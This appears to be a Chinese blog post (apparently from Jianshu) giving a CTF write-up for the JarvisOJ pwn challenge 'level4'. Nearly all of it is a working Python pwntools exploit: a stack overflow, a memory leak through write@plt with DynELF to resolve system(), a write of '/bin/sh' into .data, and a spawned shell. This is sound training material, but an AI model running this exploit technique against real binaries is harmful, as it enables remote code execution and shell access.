[JarvisOj](pwn)level4


简介 :

nc pwn2.jarvisoj.com 9880
https://dn.jarvisoj.com/challengefiles/level4.0f9cfa0b7bb6c0f9e030a5541b46e9f0

考点 :

无 libc 环境
pwntools库 DynELF 的使用

利用代码 :

#!/usr/bin/env python
# coding:utf-8

from pwn import *

Io = remote("pwn2.jarvisoj.com", 9880)
# Io = process("./level4")

# raw_input("GDB...")

def leak(addr):
    junk = "A" * (0x88 + 4)
    write_plt = p32(0x08048340)
    start_addr = p32(0x08048350)
    count = p32(4)
    buf = p32(addr)
    fd = p32(1)
    payload = junk + write_plt + start_addr + fd + buf + count
    Io.send(payload)
    leaked = Io.recv(4)
    print "[%s] -> [%s] = [%s]" % (hex(addr), hex(u32(leaked)),  repr(leaked))
    return leaked

# leak the address of system()
d = DynELF(leak, elf=ELF("./level4"))
system_addr = d.lookup('system', 'libc')
print "[system()] -> [%s]" % (hex(system_addr))

data_addr = 0x0804A01C # actually is the address of .data

# write /bin/sh
junk = "A" * (0x88 + 4)
read_plt = p32(0x08048310)
start_addr = p32(0x08048350)
count = p32(8)
buf = p32(data_addr)
fd = p32(0)
payload = junk + read_plt + start_addr + fd + buf + count
Io.send(payload)


# send /bin/sh
Io.send("/bin/sh\x00")

# call system
junk = "A" * (0x88 + 4)
system_addr = p32(system_addr)
null_addr = p32(0xFFFFFFFF) # who care ?
bin_sh_addr = p32(data_addr)
payload = junk + system_addr + null_addr + bin_sh_addr
Io.send(payload)


# interactive()
Io.interactive()
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • Android 自定义View的各种姿势1 Activity的显示之ViewRootImpl详解 Activity...
    passiontim阅读 173,393评论 25 708
  • 你想收获拥抱,首先要张开双臂;就好像有人去求中五百万,前提是先去买张彩票才有机会啊 今天七夕 但是我今天的内容跟七...
    向往温暖阅读 372评论 0 1
  • 我们都期待能找一个可以睡一辈子的人,却生活在睡了也不一定能一辈子的世界里。——《向着光亮那方》 前2天,与我们朋友...
    默默的路过阅读 145评论 0 0
  • 2014年,我从杭州回到我的老家宜昌,开始了我所谓的创业之旅一养羊,当时是激情与梦想大于理性,这一年是活羊肉羊和种...
    小兵之旅阅读 202评论 0 1
  • 秋天,是一个美丽而充满诗意的季节,但也是一个空气中都弥散着悲凉与寂寥的时节。秋风一起,万物萧条。 秋季一些精神、情...
    红尘摆渡666阅读 441评论 0 1